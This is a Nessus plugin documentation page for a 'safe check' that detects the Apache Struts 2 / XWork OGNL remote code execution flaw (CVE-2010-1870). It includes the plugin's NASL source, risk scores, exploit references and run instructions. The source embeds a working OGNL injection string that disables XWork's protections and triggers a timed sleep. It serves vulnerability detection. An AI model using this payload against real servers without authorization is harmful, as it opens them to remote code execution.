Apache Struts 2 / XWork Remote Code Execution (safe check) - Nessus

Critical Plugin ID: 47900

This page contains detailed information about the Apache Struts 2 / XWork Remote Code Execution (safe check) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 47900
Name: Apache Struts 2 / XWork Remote Code Execution (safe check)
Filename: struts_xwork_ognl_code_execution_safe.nasl
Vulnerability Published: 2010-07-09
This Plugin Published: 2010-07-29
Last Modification Time: 2022-04-11
Plugin Version: 1.34
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl, webmirror.nasl
Required KB Items [?]: Settings/ParanoidReport

Vulnerability Information

Severity: Critical
Vulnerability Published: 2010-07-09
Patch Published: 2010-08-16
CVE [?]: CVE-2010-1870
CPE [?]: cpe:/a:apache:struts

Synopsis

A remote web application uses a framework that is affected by a code execution vulnerability.

Description

The remote web application appears to use Struts 2, a web framework that uses XWork. Due to a vulnerability in XWork, it is possible to disable settings designed to prevent remote code execution.

A remote attacker can exploit this by submitting an HTTP request containing specially crafted OGNL statements, resulting in the execution of arbitrary Java.

Note that versions of Apache Archiva includes Struts and may be affected.

Solution

Upgrade to Struts 2.2.1 or later.

Alternatively, upgrade to Archiva 1.3.6 or later if using that product.

Public Exploits

Target Network Port(s): 80, 8080
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas, Core Impact, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Apache Struts 2 / XWork Remote Code Execution (safe check) vulnerability:

Metasploit: exploit/multi/http/struts_code_exec
[Apache Struts Remote Command Execution]
Metasploit: exploit/multi/http/struts_code_exec_exception_delegator
[Apache Struts Remote Command Execution]
Exploit-DB: exploits/multiple/remote/14360.txt
[EDB-14360: Struts2/XWork < 2.2.0 - Remote Command Execution]
Exploit-DB: exploits/multiple/remote/17691.rb
[EDB-17691: Apache Struts < 2.2.0 - Remote Command Execution (Metasploit)]
GitHub: https://github.com/0day666/Vulnerability-verification
[CVE-2010-1870]
GitHub: https://github.com/SexyBeast233/SecBooks
[CVE-2010-1870]
GitHub: https://github.com/fupinglee/Struts2_Bugs
[CVE-2010-1870]
GitHub: https://github.com/woods-sega/woodswiki
[CVE-2010-1870]
Immunity Canvas: White_Phosphorus

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: CVE-2010-1870
CVSS Score Rationale: NVD scores this vulnerability with a score of 5.0 but the Tenable Research Team disagrees with their finding and set it to a 10.0 instead.
CVSS V2 Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C

CVSS Base Score:	10.0 (High)
Impact Subscore:	10.0
Exploitability Subscore:	10.0
CVSS Temporal Score:	8.3 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.3 (High)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

CVSS Base Score:	9.8 (Critical)
Impact Subscore:	5.9
Exploitability Subscore:	3.9
CVSS Temporal Score:	9.1 (Critical)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	9.1 (Critical)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(47900);
  script_version("1.34");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2010-1870");
  script_bugtraq_id(41592);
  script_xref(name:"EDB-ID", value:"14360");
  script_xref(name:"EDB-ID", value:"17691");
  script_xref(name:"SECUNIA", value:"40558");
  script_xref(name:"SECUNIA", value:"40575");

  script_name(english:"Apache Struts 2 / XWork Remote Code Execution (safe check)");

  script_set_attribute(attribute:"synopsis", value:
"A remote web application uses a framework that is affected by a code
execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that uses XWork. Due to a vulnerability in XWork, it is possible to
disable settings designed to prevent remote code execution.

A remote attacker can exploit this by submitting an HTTP request
containing specially crafted OGNL statements, resulting in the
execution of arbitrary Java.

Note that versions of Apache Archiva includes Struts and may be
affected.");
  script_set_attribute(attribute:"see_also", value:"http://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-005.html");
  script_set_attribute(attribute:"see_also", value:"http://archiva.apache.org/docs/1.3.6/release-notes.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Struts 2.2.1 or later.

Alternatively, upgrade to Archiva 1.3.6 or later if using that product.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2010-1870");
  script_set_attribute(attribute:"cvss_score_rationale", value:"NVD scores this vulnerability with a score of 5.0 but the Tenable Research Team disagrees with their finding and set it to a 10.0 instead.");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Apache-Struts < 2.2.0 RCE Linux");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"White_Phosphorus");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/07/09");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/08/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/07/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2010-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl");
  script_require_keys("Settings/ParanoidReport");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("http.inc");
include("webapp_func.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match3))
    {
      urls = make_list(urls, match3[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}
if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

# Always check web root
urls = make_list(urls, "/");

urls = list_uniq(urls);

secs = make_list(5, 10, 20);
vuln_actions = make_list();

foreach dir (urls)
{
  # assume the action is vulnerable unless proven otherwise
  vuln = TRUE;

  for (i = 0; i < max_index(secs) && vuln; i++)
  {
    millis = secs[i] * 1000;
    ognl =
      '(\'\\u0023_memberAccess[\\\'allowStaticMethodAccess\\\']\')(meh)=true&' +
      '(aaa)((\'\\u0023context[\\\'xwork.MethodAccessor.denyMethodExecution\\\']\\u003d\\u0023foo\')(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))&' +
      '(asdf)((\'\\u0023thread.sleep(' + millis +')\')(\\u0023thread\\[email protected]@currentThread()))=1';
    url = dir + '?' + ognl;

    http_set_read_timeout(secs[i] * 2);
    then = unixtime();
    res = http_send_recv3(
      method:'GET',
      item:url,
      port:port,
      exit_on_fail:TRUE
    );
    now = unixtime();

    # if it looks like this action isn't vulnerable, move on to checking
    # the next one
    if ( now - then < secs[i] || now - then > (secs[i]+5) ) vuln = FALSE;
  }

  if (vuln) break;
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

if (report_verbosity > 0)
{
  report = get_vuln_report(
    header:
      'Nessus determined a struts 2 application is vulnerable by\n'+
      'forcing it to sleep() before sending the server\'s response.\n'+
      'This was verified using the following URL :',
    trailer:
      'Please note Nessus stopped after detecting the first vulnerable\n'+
      'application. Others may be vulnerable.',
    items:url,
    port:port
  );
  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/struts_xwork_ognl_code_execution_safe.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\struts_xwork_ognl_code_execution_safe.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/struts_xwork_ognl_code_execution_safe.nasl

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How to Run

Here is how to run the Apache Struts 2 / XWork Remote Code Execution (safe check) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Apache Struts 2 / XWork Remote Code Execution (safe check) plugin ID 47900.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl struts_xwork_ognl_code_execution_safe.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a struts_xwork_ognl_code_execution_safe.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - struts_xwork_ognl_code_execution_safe.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state struts_xwork_ognl_code_execution_safe.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

41592

Secunia Advisory:

40558, 40575

See also:

Similar and related Nessus plugins:

117363 - Apache Struts 2.x < 2.2.1 OGNL RCE (S2-005)
66935 - Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution
70168 - Apache Struts 2 'action:' Parameter Prefix Security Constraint Bypass
73203 - Apache Struts 2 'class' Parameter ClassLoader Manipulation
119728 - Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution
90152 - Apache Struts 2 Tag Attribute Double OGNL Evaluation RCE
91811 - Apache Struts 2 REST Plugin OGNL Expression Handling RCE
102918 - Apache Struts 2.3.x Struts 1 plugin RCE (remote)
97610 - Apache Struts 2.3.5 - 2.3.31 / 2.5.x < 2.5.10.1 Jakarta Multipart Parser RCE (remote)
102977 - Apache Struts 2 REST Plugin XStream XML Request Deserialization RCE
112064 - Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote)
144365 - Apache Struts 2.x < 2.5.26 RCE (S2-061) (direct check)
69240 - Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
57691 - Apache Struts 2 Multiple Remote Code Execution and File Overwrite Vulnerabilities (safe check) (deprecated)
57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
82079 - ManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check)
47582 - Novell 'modulemanager' Servlet Arbitrary File Upload (safe check)
44406 - Samba Symlink Traversal Arbitrary File Access (unsafe check)

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file struts_xwork_ognl_code_execution_safe.nasl version 1.34. For more plugins, visit the Nessus Plugin Library.

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Apache Struts 2 / XWork Remote Code Execution (safe check) - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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